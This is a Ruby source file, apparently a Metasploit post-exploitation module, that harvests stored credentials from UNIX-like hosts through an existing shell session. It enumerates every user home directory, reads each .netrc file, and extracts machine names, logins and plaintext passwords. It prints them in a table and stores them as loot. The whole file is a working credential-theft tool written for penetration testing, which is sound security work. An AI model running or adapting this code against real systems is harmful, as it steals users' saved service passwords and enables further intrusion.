105 lines
2.7 KiB
Ruby
105 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Unix
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'UNIX Gather .netrc Credentials',
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'Description' => %q{
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Post Module to obtain credentials saved for FTP and other services in .netrc
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
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'Platform' => %w[bsd linux osx unix],
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'SessionTypes' => [ 'shell' ]
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)
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)
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end
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def run
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# A table to store the found credentials.
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cred_table = Rex::Text::Table.new(
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'Header' => '.netrc credentials',
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'Indent' => 1,
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'Columns' =>
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[
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'Username',
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'Password',
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'Server',
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]
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)
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# all of the credentials we've found from .netrc
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creds = []
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# walk through each user directory
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print_status('Enumerating .netrc files')
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enum_user_directories.each do |user_dir|
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netrc_file = user_dir + '/.netrc'
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# the current credential from .netrc we are parsing
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cred = {}
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# read their .netrc
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unless readable? netrc_file
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vprint_error("Couldn't read #{netrc_file}")
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next
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end
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print_status("Reading: #{netrc_file}")
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read_file(netrc_file).each_line do |netrc_line|
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# parse it
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netrc_line.strip!
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# get the machine name
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if (netrc_line =~ /machine (\S+)/)
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# if we've already found a machine, save this cred and start over
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if (cred[:host])
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creds << cred
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cred = {}
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end
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cred[:host] = ::Regexp.last_match(1)
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end
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# get the user name
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if (netrc_line =~ /login (\S+)/)
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cred[:user] = ::Regexp.last_match(1)
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end
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# get the password
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if (netrc_line =~ /password (\S+)/)
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cred[:pass] = ::Regexp.last_match(1)
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end
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end
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# save whatever remains of this last cred if it is worth saving
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creds << cred if (cred[:host] && cred[:user] && cred[:pass])
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end
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# print out everything we've found
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creds.each do |cred|
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cred_table << [ cred[:user], cred[:pass], cred[:host] ]
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end
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if cred_table.rows.empty?
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print_status('No creds collected')
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else
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print_line("\n" + cred_table.to_s)
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# store all found credentials
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p = store_loot(
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'netrc.creds',
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'text/csv',
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session,
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cred_table.to_csv,
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'netrc_credentials.txt',
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'.netrc credentials'
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)
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print_status("Credentials stored in: #{p}")
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end
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end
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end
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